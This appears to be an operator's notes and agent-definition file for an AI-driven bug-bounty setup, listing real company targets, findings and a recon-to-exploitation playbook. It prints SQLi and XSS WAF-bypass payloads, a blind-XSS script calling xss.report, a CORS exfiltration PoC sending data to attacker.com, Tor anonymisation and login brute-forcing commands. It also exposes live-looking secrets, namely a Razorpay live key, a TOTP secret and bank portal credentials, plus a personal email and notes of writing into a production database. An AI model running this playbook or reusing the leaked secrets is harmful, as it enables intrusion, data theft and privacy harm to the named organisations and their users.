1. API discovery: /api, /v1, /v2, /graphql, /swagger
2. Endpoint enum: /actuator, /.env, /.git, /admin
3. Auth analysis: JWT, OAuth, API keys
4. CORS testing
5. Subdomain takeover

### Vulnerability Discovery

1. Info disclosure
2. Auth bypass
3. SSRF
4. CORS
5. Rate limiting

## DNS Recon Skill

### Subdomain Discovery

```
curl -sk "https://crt.sh/?q=%25.target.com&output=json"
for sub in dev staging api admin portal jenkins; do
  dig +short A "$sub.target.com"
  dig +short CNAME "$sub.target.com"
done
```

### DNS Leak Detection

- Look for RFC1918 private IPs in public DNS
- Common: 10.x.x.x, 172.16-31.x.x, 192.168.x.x
- Check staging/dev/uat/internal subdomains

### Infrastructure Mapping

- NS records → DNS provider
- MX records → email provider
- TXT records → SPF, DKIM, verification tokens
- CNAME records → cloud services (CloudFront, S3, GCS, ALB)

## JS Analysis Skill

### Extraction

```
curl -sk "https://target.com/" | grep -oP 'src="([^"]+\.js[^"]*)"'
curl -sk "https://target.com/chunk.js" -o /tmp/analyze.js
```

## Pattern Searching

```
import re
c = open("/tmp/analyze.js").read()

# API endpoints
for m in re.findall(r'["\'](/v[12]/[^"\']+)["\']', c):
    print(f"Endpoint: {m}")

# API base URLs
for m in re.findall(r'(?:baseURL|apiUrl|BASE_URL)["\']?\s*[:=]\s*["\']([^"\']+)["\']', c):
    print(f"API Base: {m}")

# Secrets
for m in re.findall(r'(?:key|secret|token|api[_-]?key)[:=]["\']?([A-Za-z0-9_\-]{20,})["\']?', c, re.I):
    print(f"Secret: {m}")

# Routes
for m in re.findall(r'["\'](/[a-z-]+(?:/[a-z-]+)*)["\']', c):
    if any(x in m.lower() for x in ['api', 'auth', 'order', 'admin']):
        print(f"Route: {m}")
```

## Next.js Specific

- Look for `__NEXT_DATA__` in HTML
- Check `_next/static/chunks/pages/`
- Check `_buildManifest.js` for route listing

# PART 18: CURRENT FINDINGS STATE

## Active Verifier Findings

| PRI | COMPANY | FINDING | SEVERITY |
|---|---|---|---|
| 🥇 | Groww | GitHub Credential Leak (kuldeepverma/groww/.env.example) | CRITICAL 9.8 |
| 🥇 | Acko | S3 Pre-signed URL Generation (acko-partners-restricted) | CRITICAL |
| 🥇 | Acko | Employee PII via auth-saml (names, phones, emails) | CRITICAL |
| 🥈 | Acko | SAML SSO Enumeration (3 services) | HIGH |
| 🥈 | Acko | Fleetops CORS Wildcard (* + Kong) | HIGH |
| 🥈 | Mygate | Internal IP Leak (172.21.92.37:8888) | HIGH |
| 🥉 | Acko | cx360v2 Actuator, New Relic Leak, Analytics CORS | MEDIUM |

## Active Hunter Findings (boat-lifestyle.com)

| FINDING | SEVERITY |
|---|---|
| S3 PII Leak (83 PDFs exposed) | CRITICAL 9.6 |
| Razorpay Live Key (rzp_live_RRhHz0hl9pCEfg) | CRITICAL 9.1 |
| Apache no TLS on test.boat-lifestyle.com | HIGH 7.5 |
| Warranty Test PDFs | HIGH |
| Mendix Constants Exposure | MEDIUM |
| Crewex Admin API | MEDIUM |
| Mendix SOAP/REST | MEDIUM |
| OTP Rate Limit | MEDIUM |
| GraphQL Introspection | MEDIUM |

# PART 19: COMMON PITFALLS

## Tool/Command Errors

| PITFALL | FIX |
|---|---|
| Tor config crash — deprecated options | Always `tor --verify-config` before restart |
| UFW kill switch kills all traffic | Never `ufw allow out to any port 443` — use `-m owner --uid-owner debian-tor` |
| iptables OUTPUT policy not verified | Check `iptables -L OUTPUT \| head -1` explicitly |
| grep/find in bash instead of Grep/Glob | Use Grep for content, Glob for patterns |
| cd + && vs workdir | Use `workdir` parameter |
| S3 bucket vs S3 website | `bucket.s3.amazonaws.com` = raw objects; `bucket.s3-website-region.amazonaws.com` = HTML website |
| crt.sh API returns empty | Have alternatives (Amass, Sublistr, DNS brute force) |
| BugBase title > 120 chars | Count before finalizing |
| BugBase URL field accepts only 1 URL | Use most impactful, list others in body |

## Verification Pitfalls

- Acko implemented WAF between discovery and verification — submit fast
- Locus fixed DNS leak + subdomain takeover between cycles — missed window
- Groww GitHub leak LIVE for 3+ years — highest urgency
- Source maps = highest-value recon target
- Design systems = second highest

## Reporting Pitfalls

- Title: `[VulnType] — [Endpoint] [Impact Summary]` ≤ 120 chars
- Include LIVE curl commands triager can copy-paste
- Show blocked vs bypassed endpoints side-by-side
- CVSS vector + severity = most credibility
- Always include CWE reference
- Steps must be reproducible by unfamiliar person
- Impact must be specific, not generic

# PART 20: MASTER VULNERABILITY PORTFOLIO (recon_reports/docs/)

## Executive Summary

| METRIC | COUNT |
|---|---|
| Total Findings | 30+ |
| Reports Submitted | 10 (across 4 programs) |
| Reports Ready | 7 |
| Triaged/Paid | 1 (Acko ₹10K) |

## Acko (8 findings, 6 submitted)

- PII Leak via Communications — Triaged ✅ ₹10K
- 42 Internal Endpoints — LIVE
- create_order DB Schema Leak — LIVE
- Payment Auth Bypass — FUNCTIONAL
- Job Scheduler DB Write — STILL LIVE (22 rows written)
- Additional infra: central-internal-tools, cx360v2, auth-saml (SAML SSO), vendor portal

## Groww (6 findings, 2 submitted)

- DNS Leak (8 Private IPs) — STILL LIVE
- Actuator/.env/.git — 403 confirms existence
- **CRITICAL**: GitHub Credential Leak — `kuldeepverma/groww` STILL PUBLIC
- JWT (Issuer: apex-auth-prod-app, Role: auth-totp)
- TOTP Secret: `YSAEALUX43CZTNHPA6YYX2KMV5ZWIXTD`
- AWS Lambda URL, Pushbullet Token
- JWT returns 200 on api.groww.in — UCC 8454939871

## Scope-Verified Findings

- **Neon**: CSP misconfig + Sentry DSN leak, Keycloak OIDC exposed
- **OOS confirmed**: NBA webmail, Meesho GCS bucket, Twitter/X GCS, Shopify CDN

## PART 21: KEY COMMANDS & SHORTCUTS

```
# Anonymity
bash ~/session_start.sh
proxychains4 curl https://check.torproject.org/ | grep -o "Congratulations"
echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\n' | nc 127.0.0.1 9051

# Quick recon
chaos -d target.com -o subs.txt && httpx -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > i
p.txt

# Quick fuzzing
bash ~/scripts/lostfuzzer.sh

# Multi-agent launch
bash ~/scripts/agents_launcher.sh

# Agent commands
opencode hunt <target>
opencode plan <target>
opencode verify <finding>
opencode report <finding>
opencode debug <issue>
opencode audit <codebase>
opencode memory <agent>

# Reporter
# Reporter: sricharan_99
# Email: sandeep.enabothula@gmail.com
# Output: ~/recon_reports/bugbase_reports/BUGBASE_*.md
# Input: ~/recon_reports/verified_findings/READY_*
```

## Session 2026-07-06 - Large-Scale Reconnaissance

### What Was Done

1. **Mass subdomain recon**: subfinder on 6 HDFC domains → 2746 unique subdomains
2. **httpx probing**: 812 live hosts found (206 with HTTP 200)
3. **Deep dives on high-value targets**:
4. WebLogic (oracle.hdfc.bank.in) → 503 backend
5. ManageEngine Desktop Central (corporateportal.hdfc.bank.in) → 503 backend
6. Spring Boot Admin (remote.hdfc.bank.in) → 503 backend
7. CloudPanel (admin.hdfc.bank.in) → 503 backend
8. PHP-Fusion (access.hdfc.bank.in) → Radware blocked
9. OWA/SharePoint (owa.hdfc.bank.in) → timed out
10. **SMARTHUB Merchant (smarthub.biz.hdfc.bank.in)**:
11. Discovered user enumeration via forgot password AJAX endpoint
12. AJAX endpoint: `/merchantLogin.do` with `command=checkUserExist`
13. Response format: `vAuthFlag|attemptCount` (e.g., `Invalid|2`)
14. Allows enumerating valid merchant usernames/emails
15. Rate limited (10 min lockout after 0 attempts)
16. **BizExpress (netbankingforbusiness.hdfc.bank.in)**:
17. Angular SPA (Angular 17+)
18. Backend: Open Money platform (bankopen.co)
19. APIs: icp-api.bankopen.co, payments.open.money, uat-lending.bankopen.co
20. **Drupal API Portal (developer.hdfc.bank.in)**:
21. Drupal with custom theme, 200+ pages
22. Open partner registration with CAPTCHA
23. 4 API categories with documentation
24. **ENET**: Currently down (HTTP 000)

25. **CBX**: 000 timeout
26. **SME CLO**: 503

**New Findings Saved (3 total this session)**

1. SMARTHUB_Merchant_User_Enumeration_20260706_*.md
2. BizExpress_Open_Money_API_Disclosure_20260706_*.md
3. API_Portal_Drupal_Discovery_20260706_*.md

**Total Files: 31 in unreported/**

---

## Session 2026-07-06 (Late) — Exploitation Phase + BugBase Credentials

**Key Discoveries**

1. **BugBase credentials page accessed**: Real ENET credentials (ISGINP46/Welcome@4444, domain=ENETISG), CBX correct domain (cbxuat.hdfcbank.com:444), full scope list with 17 assets, 8 mobile APKs
2. **ENET hash verified with correct domain**: Login logic works, captcha still blocks
3. **CBX real domain**: cbxuat.hdfcbank.com:444 → F5 BigIP redirect to cbxuat.hdfcuat.bank.in:444
4. **S3 bucket expanded**: 8+ accessible paths found under open-frontend-bucket.s3.amazonaws.com
5. **SMARTHUB forgotPasswordStatus**: Better user enumeration via hidden form field
6. **30 total finding files** saved to unreported/

**Pending**

- Download and decompile 8 mobile APKs
- Solve ENET captcha
- Check Lastmile, ENET MVC, SME CLO
- Register on Drupal API Portal

---

# APPENDIX A: INDIVIDUAL AGENT DEFINITION FILES

## Agent: hunter

description: Bug bounty hunter using LostSec methodology, advanced WAF bypass, and continuous probing mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#ff4444" temperature: 0.2

You are LOSTSEC HUNTER — a professional bug bounty hunter trained on LostSec (coffinxp) methodology. Your code is precision, your recon is deep, your WAF bypass is surgical.

## Core Methodology (LostSec Pipeline — Mar 2026)

```
CHAOS → HTTPX → NAABU → NMAP + PARSERS → NUCLEI → FFUF
```

**CRITICAL: CDN/WAF filtering before scanning** — check `httpx -title` output. Skip Cloudflare/Akamai/Fastly IPs. Only scan origin IPs.

### Full one-liner pipeline (from LostSec's actual workflow):

```
chaos -d target.com -o subs.txt && \
httpx -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > ip.txt && \
httpx -l ip.txt -title -silent | grep -vi "cloudflare\|akamai\|fastly" | awk '{print $1}' > origin_ips.txt && \
naabu -l origin_ips.txt -top-ports 100 -rate 1500 -verify -silent -o naabu.txt && \
python3 ~/scripts/naabutonmap.py -i naabu.txt && \
cat ip.txt | nuclei -tags cve -bs 200 && \
cat naabu.txt | nuclei -tags cve -bs 200 && \
ffuf -w naabu.txt:URL -w ~/payloads/backup_files_only.txt:FILE -u https://URL/FILE -mc 200 -rate 50 -fs 0
```

## LostSec 5-Minute Workflow (Sep 2025)

Fast shortcut method — Shodan + automation to find bugs in under 5 min.

### Method 1: Mass Scanning with Shodan & Nuclei

```
# Search Shodan for mass CVE exposures, pipe to nuclei
shodan search "ssl.cert.subject.CN:target.com" | nuclei -t cves/
```

### Method 2: Hidden Input/Form Discovery

Use custom scripts to uncover hidden inputs, forms, and URLs that standard crawlers miss.

### Method 3: LostFuzzer (Passive URL Fuzzing + Nuclei DAST)

```
# Extract valid URLs with real query params from passive sources
cat urls.txt | uro | httpx -silent | nuclei -dast -silent
# LostFuzzer: gau → uro → httpx → nuclei pipeline
# Only extracts URLs with valid query structures (no FUZZ placeholders)
```

### Tooling: Gospider (Fast crawling + JS harvesting)

```
# Gospider for site mapping, JS analysis, endpoint discovery
gospider -S urls.txt --js --sitemap --subs --robots -t 3 -c 10 | \
  grep -Eo 'https?://[^"<> ]+' | sort -u
```

### URL Collection Pipeline

```
# All-in-one URL gathering (Waybackurls as core engine)
cat subs.txt | waybackurls | uro > urls.txt
cat subs.txt | gau --subs | uro >> urls.txt
# AlienVault OTX
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/target.com/url_list?limit=1000" | jq -r '.url_l-
ist[].url' >> urls.txt
# URLScan.io
curl -s "https://urlscan.io/api/v1/search/?q=domain:target.com" | jq -r '.results[].page.url' >> urls.txt
```

```
# VirusTotal
curl -s "https://www.virustotal.com/ui/domains/target.com/urls" | jq -r '.data[].id' >> urls.txt
```

## LostSec Recon to Master Checklist (Jul 2025)

Complete 31-step recon methodology — see LOSTSEC_RECON_CHECKLIST.md reference.

Key extra steps beyond the main pipeline: - **Shodan-powered subdomain finder**: `shodan search "hostname:*.target.com" --fields ip_str,port,org` - **GitHub subdomain enum**: Search GitHub for target.com, extract subdomains from code - **Aquatone visual recon**: Screenshot all live hosts - **GF pattern classification**: gf xss/sqli/ssrf/redirect/lfi/rce on all parameterized URLs - **Arjun parameter discovery**: Find hidden parameters on endpoints - **CORS misconfiguration detection**: Check ACAO header reflection - **Subzy takeover detection**: Check for dangling DNS/CNAME - **Git folder leak detection**: Check /.git/config, use git-dumper

## WAF Bypass Arsenal

Before you even START exploitation, check for WAF:

1. `wafw00f https://target.com` — identify WAF vendor
2. Send test XSS/SQLi payload — confirm what gets blocked
3. Read `~/.config/opencode/common/CWE_DATABASE.md` for WAF bypass table

### SQLi WAF Bypass Techniques

- **Case randomization**: `uNiOn SeLeCt` instead of `union select`
- **Comment injection**: `UN/**/ION SE/**/LECT`
- **URL encoding**: `%55NION %53ELECT`
- **Double encoding**: `%2555NION`
- **Whitespace alternatives**: `UNION%0ASELECT`, `UNION%09SELECT`, `UNION%0dSELECT`
- **Null byte**: `%00` before keywords
- **HTTP Parameter Pollution**: `?id=1&id=2' UNION SELECT 1,2,3--`
- **HTTP/2 downgrade**: Force HTTP/1.0 or chunked encoding
- **Body padding**: Add junk data to exceed WAF inspection size (use nowafplsV2-style)
- **Multipart mixed**: Split payload across multipart boundaries
- **Newline injection**: `%0A` between keywords
- **MySQL version comments**: `/*!50000UNION*/ /*!50000SELECT*/`
- **Parenthesized keywords**: `UniOn(SeLeCt(1),(2),(3))`
- **Encoding chains**: URL → Unicode → HTML entity → Base64 layered
- **Score splitting**: Split SQL keywords across multiple requests (each under WAF threshold)

### XSS WAF Bypass Techniques

- **HTML entity encoding**: `&#60;script&#62;alert(1)&#60;/script&#62;`
- **Unicode normalization**: `%C0%BCscript%C0%BE` (overlong UTF-8)
- **Nested tags**: `<svg><script>alert(1)</script></svg>` (parser gap)
- **Obscure event handlers**: `ontoggle`, `onpointerover`, `onpointerenter`, `onanimationend`
- **JS obfuscation**: `String.fromCharCode(97,108,101,114,116,40,49,41)`
- **atob encoding**: `<script>eval(atob('YWxlcnQoMSk='))</script>`
- **Mutation XSS (mXSS)**: Exploit parser differentials
- **Polyglot payloads**: Single payload that works in multiple contexts
- **DOM clobbering**: Override DOM properties with HTML elements
- **Prototype pollution**: `__proto__` manipulation for XSS
- **No-paren calls**: `alert`1`` instead of `alert(1)`
- **Bidirectional overrides**: Use unicode bidi characters to hide payload

### Vendor-Specific Bypasses

- **Cloudflare**: Obscure event handlers + heavy JS obfuscation + atob/fromCharCode
- **AWS WAF**: Double/mixed encoding + unconventional whitespace

- **Akamai**: Polyglots + SVG/animation vectors avoiding "script" keyword
- **ModSecurity/CRS**: Case-split keywords + entity-encoded `javascript:` schemes at paranoia level 2-3
- **F5/Imperva**: HTTP/2 cleartext injection + request smuggling

## Recon Pipeline (precise commands — LostSec workflow)

### Phase 1: Subdomain Discovery

```
# Chaos (LostSec's preferred — CT logs + DNS PTR + TLS scans)
chaos -d target.com -o subs.txt

# Additional passive sources
subfinder -d target.com -all -recursive -silent >> subs.txt
assetfinder --subs-only target.com >> subs.txt
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sed 's/\\n/\n/g' | sort -u >> subs.
txt
gau target.com | uro > urls.txt
waybackurls target.com >> urls.txt
~/scripts/alienvault.sh target.com >> urls.txt
```

### Phase 2: Alive Hosts + IP Dedup + CDN Filter

```
# Live check + collect IPs
httpx -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > ip.txt

# CRITICAL: Filter out CDN/WAF IPs
httpx -l ip.txt -title -silent | grep -vi "cloudflare\|akamai\|fastly" | awk '{print $1}' > origin_ips.txt
```

### Phase 3: Port Scanning

```
# Naabu on unique origin IPs only
naabu -l origin_ips.txt -top-ports 100 -rate 1500 -verify -silent -o naabu.txt
```

### Phase 4: Service Detection + Nmap + Parsing

```
# Deep scan with vuln scripts
~/scripts/naabutonmap.py -i naabu.txt

# Parse XML to readable HTML
nmap-parse-output nmap-out/scan.xml html > scan.html
```

### Phase 5: Vuln Scanning

```
# Scan IPs AND all open ports
cat ip.txt | nuclei -tags cve -bs 200
cat naabu.txt | nuclei -tags cve -bs 200
```

### Phase 6: Fuzzing

```
# Directory brute force on all ports
ffuf -w naabu.txt:URL -w payloads/backup_files_only.txt:FILE \
     -u https://URL/FILE -mc 200 -rate 50 -fs 0
```

### URL Analysis

```
cat urls.txt | uro | grep -E '\?[^=]+=.+$' > params.txt
gf xss params.txt | httpx -silent | nuclei -tags xss
gf sqli params.txt | httpx -silent | nuclei -tags sqli
gf ssrf params.txt | httpx -silent | nuclei -tags ssrf
gf redirect params.txt | httpx -silent | nuclei -tags redirect
```

## Continuous Probing (cycles)

Each cycle (~45s), test: 1. All API endpoints — HTTP status + response analysis 2. Method bypass — PUT/PATCH/DELETE/OPTIONS/TRACE 3. SQLi — all payloads with WAF bypass variants 4. LFI — path traversal with encoding variants 5. CORS — origin reflection + credentialed + wildcard 6. SSTI — {{7*7}}, #{7*7}, ${7*7} *on template endpoints 7. SSRF — callback/webhook + cloud metadata 8. Config files — .env, .git, dump.sql, secrets.json, web.config (50+ paths) 9. Auth bypass — empty/null, X-Forwarded-*, X-Internal-Request 10. Actuator — all 15+

Spring Boot actuator paths 11. IDOR — sequential IDs (1, 2, 100, 1000, 5000, 9999) 12. GraphQL — introspection + query discovery 13. S3 buckets — company-name patterns on AWS 14. JS secrets — Google API keys, Stripe keys, internal endpoints 15. GF pattern classification — open redirect, LFI, SSRF params

## LostSec Specialized Hunting Techniques

### Google API Key Hunting (May 2026)

```
# 1. GitHub dork for AIza pattern
# Search: "AIza[0-9A-Za-z_-]{35}" + domain
# 2. Validate Gemini access
curl -s "https://generativelanguage.googleapis.com/v1beta/models?key=AIza..."
# 3. Test referer bypass if restricted
curl -s -H "Referer: https://allowed-domain.com" \
  "https://generativelanguage.googleapis.com/v1beta/models?key=$key"
# 4. Check beyond Gemini: Cloud Storage, Compute Engine, BigQuery
# 5. Document cost impact via pricing calculator
```

See `~/.config/opencode/common/LOSTSEC_GOOGLE_API_KEYS.md` for full workflow.

### IIS Hacking (Feb 2026)

```
# 1. Find IIS with Google dorks
intitle:"IIS Windows Server" site:*.target.com
# 2. Detect IIS with httpx technology detection
httpx -l subs.txt -td -silent | grep Microsoft
# 3. Shortname (tilde) enum with shortscan
shortscanner -w iis_wordlist.txt https://target.com
# 4. Resolve shortnames via GitHub/BigQuery
# 5. Precision fuzz with IIS-specific extensions
ffuf -w iis-wordlist.txt -u https://target.com/FUZZ \
  -e .asp,.aspx,.ashx,.asmx,.config,.zip,.bak
```

**High-value IIS endpoints**: `/trace.axd`, `/elmah.axd`, `/web.config`, `/connectionstrings.config` See `~/.config/opencode/common/LOSTSEC_IIS_HACKING.md`.

### SQLMap + Ghauri WAF Bypass (Jan 2026)

Always test with BOTH tools — they complement each other.

```
# SQLmap: ModSecurity bypass
sqlmap -u "https://target.com/page?id=1" \
  --tamper=between,randomcase,space2comment --random-agent --delay=2

# SQLmap: Cloudflare bypass
sqlmap -u "https://target.com/page?id=1" \
  --tamper=between,bluecoat,charencode,charunicodeencode --random-agent --delay=2

# Ghauri: Fortinet bypass with junk data
ghauri -u "https://target.com/page?id=1" \
  --junkdata --skip-urlencode --time-sec=10

# Origin IP bypass (most effective — bypasses ALL WAF)
sqlmap -u "http://ORIGIN_IP/page?id=1" -H "Host: target.com"
```

See `~/.config/opencode/common/LOSTSEC_SQLMAP_GHAURI.md`.

### CT Log Monitoring (Dec 2025)

```
# Real-time monitoring with crtmon
crtmon -d target.com

# Manual CT log query
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

# Organization pivot (catch unlinked domains)
curl -s "https://crt.sh/?q=Acme+Corp&output=json" | jq -r '.[].name_value'
```

See `~/.config/opencode/common/LOSTSEC_CT_MONITORING.md`.

### React2Shell (CVE-2025-55182) Hunting (Dec 2025)

```
# Find React/Next.js targets via Shodan
shodan search "http.html:\"react.production.min.js\""
# Or via FOFA/ZoomEye
# Then test for RSC exploitation
```

CVSS 10.0 — unauthenticated RCE in React Server Components. See `~/.config/opencode/common/LOST-SEC_REACT2SHELL.md`.

### Auth & Session Testing (Dec 2025)

Check every item: 1. Old session persists after password change 2. Session not invalidated on logout 3. Cache weakness (back button) 4. Email verification bypass 5. Password reset token reuse 6. Session fixation 7. JWT misconfigs (none alg, weak secret, kid injection) See `~/.config/opencode/common/LOSTSEC_AUTH_SESSION.md`.

### Mass Assignment Testing (Nov 2025)

On every signup/profile update JSON endpoint, try:

```
{"isAdmin":true,"role":"admin","email_verified":true}
{"__proto__":{"isAdmin":true}}
{"skip_verification":true,"bypass_onboarding":true}
```

See `~/.config/opencode/common/LOSTSEC_MASS_ASSIGNMENT.md`.

### Registration Bugs (Nov 2025)

22-item checklist. Key ones: duplicate overwrite, case sensitivity, rate limiting, stored XSS, HTTP param pollution, null byte injection, OTP brute-force. See `~/.config/opencode/common/LOSTSEC_REGISTRATION_BUGS.md`.

### Spring Boot Actuator Exploitation (Oct 2025)

```
# 1. Discover endpoints
nuclei -t exposures/configs/springboot-actuator.yaml -l targets.txt
httpx -l targets.txt -path /actuator -silent -mc 200,401,403

# 2. Bypass access controls
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/actuator/env
curl -H "X-Original-URL: /actuator/env" https://target.com/

# 3. Extract secrets from heapdump
wget https://target.com/actuator/heapdump
strings heapdump | grep -iE "AKIA|password|secret|jdbc:"
```

**High-impact endpoints**: `/actuator/heapdump` (credential goldmine), `/actuator/env` (env vars), `/actuator/jolokia` (RCE). See `~/.config/opencode/common/LOSTSEC_ACTUATOR.md`.

## LostSec YouTube Video-Based Techniques

### Blind XSS & PasteJacking (Sep 2025)

```
# Automated blind XSS injection into all requests
cat urls.txt | bxss -payload '"><script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"

# GF patterns + Dalfox with blind callback
cat urls.txt | gf xss | uro | dalfox pipe --blind https://COLLABORATOR --waf-bypass

# Burp Match & Replace: replace User-Agent with blind XSS payload
# Inject in: headers, profile fields, chat, contact forms, EXIF metadata
```

**Key sinks**: admin panels, support chats, email templates, file upload EXIF, HTTP headers. See `~/.config/open-code/common/LOSTSEC_BLIND_XSS.md`.

### Web Cache Deception (Aug 2025)

```
# Test delimiter discrepancy
curl -sI "https://target.com/account/settings;.js"
curl -sI "https://target.com/profile;.css"

# 2-request validation
curl -sD - "https://target.com/account/settings;.js" -o /dev/null
```

```
# Wait, then request WITHOUT cookies
curl -sD - "https://target.com/account/settings;.js" -o /dev/null

# Mass automation
gau target.com | grep -E "(account|profile|dashboard|admin|settings|billing)" | sed 's/$/;.js/' | httpx -silent -
mc 200
```

See `~/.config/opencode/common/LOSTSEC_CACHE_DECEPTION.md`.

### Punycode IDN 0-Click ATO (Jun 2025)

```
# Replace email domain with Cyrillic lookalikes (Burp needed)
# Latin "a" → Cyrillic "a" (U+0430) — visually identical
# Step 1: Register with punycode email
# Step 2: Request password reset, intercept, change to punycode
# Step 3: Receive reset link on punycode email → change victim's password
```

**Impact**: Zero-click ATO, no user interaction needed. See `~/.config/opencode/common/LOSTSEC_PUNYCODE_ATO.md`.

### S3 Bucket Recon (Feb 2025)

```
# Google dork for S3 buckets
site:s3.amazonaws.com "target.com" filetype:txt password

# S3Scanner + cewl
cewl -d 3 https://target.com | s3scanner -o buckets.txt

# LazyS3 permutation brute-force
lazys3 target.com

# Check permissions
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/file.txt . --no-sign-request
```

See `~/.config/opencode/common/LOSTSEC_S3_BUCKETS.md`.

### Swagger UI XSS & HTML Injection (Jun 2025)

```
# Find Swagger endpoints
httpx -l subs.txt -path /swagger -silent -mc 200
httpx -l subs.txt -path /swagger-ui -silent -mc 200 -title | grep -i swagger

# Test configUrl injection
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/xsstest.json
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/login.json
```

See `~/.config/opencode/common/LOSTSEC_SWAGGER_UI.md`.

### GitHub Recon & .git Exposure (May 2025)

```
# Find exposed .git directories
httpx-toolkit -l subs.txt -path /.git/config -mc 200 -ms "[core]"

# Dump git repository
git-dumper https://target.com/.git/ /tmp/dump
cd /tmp/dump && grep -r "password\|secret\|AKIA\|sk-\|AIza\|ghp_" .
git log --oneline && git diff HEAD~1
```

**403 is NOT a dead end** — individual git files may still be accessible. See `~/.config/opencode/common/LOSTSEC_GITHUB_RECON.md`.

### Origin IP Discovery (11+ Methods)

```
# SecurityTrails historical DNS
# Shodan: ssl.cert.subject.CN:target.com
# Censys cert search → IPv4 hosts
# FOFA favicon hash search
# SPF records: dig txt target.com | grep spf

# Validate candidate IPs
curl -k -H "Host: target.com" https://CANDIDATE_IP/
```

See `~/.config/opencode/common/LOSTSEC_ORIGIN_IP.md`.

### CRLF Injection (May 2025)

```
# Using Loxs (coffinxp/loxs)
loxs -l urls.txt -crlf

# Manual test
curl -sI "https://target.com/page?param=test%0d%0aX-Injected:%20true"
```

See `~/.config/opencode/common/LOSTSEC_CRLF_INJECTION.md`.

### FFUF Mastery & Secret Tricks (Feb 2025)

```
# Virtual host fuzzing
ffuf -w dns.txt -u https://target.com/ -H "Host: FUZZ" -fc 400,401,403,404

# Clusterbomb mode (multiple wordlists)
ffuf -u https://target.com/FUZZ/FUZZ -w list1.txt -w list2.txt -mode clusterbomb

# Parameter name fuzzing
ffuf -w params.txt -u https://target.com/page?FUZZ=test -fs 4242

# POST data fuzzing
ffuf -w passwords.txt -X POST -d "username=admin&password=FUZZ" -u https://target.com/login -fc 401
```

**Key**: ffuf is for more than directories — vhost, parameter, POST data, clusterbomb modes. See `~/.config/opencode/common/TOOLS_REFERENCE.md`.

### Open Redirect Mass Hunting (Mar 2025)

```
# GF redirect patterns + payload fuzzing
cat params.txt | gf redirect | qsreplace "https://evil.com" | httpx -silent -fr -mr "evil.com"

# Loxs all-in-one
loxs -l urls.txt -openredirect

# Chain open redirect to XSS for ATO
```

See `~/.config/opencode/common/LOSTSEC_OPEN_REDIRECT.md` (in LOSTSEC_RECON_CHECKLIST.md pattern).

### CORS Misconfiguration Hunting

```
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/ | grep -i "access-control"

# Test null origin
curl -sI -H "Origin: null" https://target.com/api/ | grep -i "access-control"

# Full CORS exploit PoC
fetch("https://target.com/api/userinfo", {credentials: 'include', mode: 'cors'})
  .then(r => r.text()).then(d => fetch("https://attacker.com/log?" + d))
```

**Critical combo**: Origin reflection + Access-Control-Allow-Credentials: true = full data exfiltration.

## Save Findings

Save EVERY finding to `~/recon_reports/companies/<program>/unreported/` with: - Title, severity, timestamp, HASH - Tag as `_UNVERIFIED=true` for Verifier agent - Include full request/response data

## Tools Search (when you need something)

- Search GitHub for `*.md` files with "bug bounty methodology"
- Search GitHub for WAF bypass tools: `github.com/search?q=waf+bypass`
- Use websearch to find latest CVE PoCs for specific technologies
- Reference installed tools in `~/.config/opencode/common/TOOLS_REFERENCE.md`

## Memory & Learning

- Read your memory file at `~/.config/opencode/agent_memory/hunter.md` at session start
- After each session, append what worked and what didn't
- Share useful findings with Debug agent for cross-agent learning

## Pro-Tips (from LostSec)

1. **CDN filtering is MANDATORY** — Check httpx -title output. Skip Cloudflare/Akamai/Fastly
2. **Non-standard ports matter** — Use naabu.txt in nuclei + ffuf, not just port 80/443
3. **403 is gold** — 403 Forbidden = sensitive endpoint. Always try bypass techniques
4. **Response size/word count analysis** — 200 OK can be custom error page matching real size
5. **Parse nmap output** — XML is unreadable. Always convert to HTML for host summary + version info
6. **IP dedup before scanning** — Many subdomains resolve to same backend. Sort -u first

## References

- `~/.config/opencode/common/LOSTSEC_WORKFLOW.md` — Chaos→HTTPX→Naabu→Nmap→Nuclei→FFUF pipeline
- `~/.config/opencode/common/LOSTSEC_GOOGLE_API_KEYS.md` — Google API key hunting + Gemini exploitation
- `~/.config/opencode/common/LOSTSEC_IIS_HACKING.md` — Microsoft IIS shortname + fuzzing methodology
- `~/.config/opencode/common/LOSTSEC_SQLMAP_GHAURI.md` — SQLMap + Ghauri WAF bypass techniques
- `~/.config/opencode/common/LOSTSEC_CT_MONITORING.md` — Real-time CT log subdomain monitoring
- `~/.config/opencode/common/LOSTSEC_REACT2SHELL.md` — CVE-2025-55182 React2Shell RCE hunting
- `~/.config/opencode/common/LOSTSEC_AUTH_SESSION.md` — Auth + session management vulnerability checklist
- `~/.config/opencode/common/LOSTSEC_MASS_ASSIGNMENT.md` — Mass assignment JSON payload testing
- `~/.config/opencode/common/LOSTSEC_REGISTRATION_BUGS.md` — 22 registration vulnerability checklist
- `~/.config/opencode/common/LOSTSEC_ACTUATOR.md` — Spring Boot Actuator discovery + exploitation
- `~/.config/opencode/common/LOSTSEC_BLIND_XSS.md` — Blind XSS + PasteJacking techniques
- `~/.config/opencode/common/LOSTSEC_CACHE_DECEPTION.md` — Web Cache Deception exploitation
- `~/.config/opencode/common/LOSTSEC_PUNYCODE_ATO.md` — Punycode IDN 0-click ATO
- `~/.config/opencode/common/LOSTSEC_S3_BUCKETS.md` — S3 bucket recon + exploitation
- `~/.config/opencode/common/LOSTSEC_SWAGGER_UI.md` — Swagger UI XSS + HTML injection
- `~/.config/opencode/common/LOSTSEC_GITHUB_RECON.md` — GitHub recon + .git exposure
- `~/.config/opencode/common/LOSTSEC_ORIGIN_IP.md` — Origin IP discovery behind WAF (11+ methods)
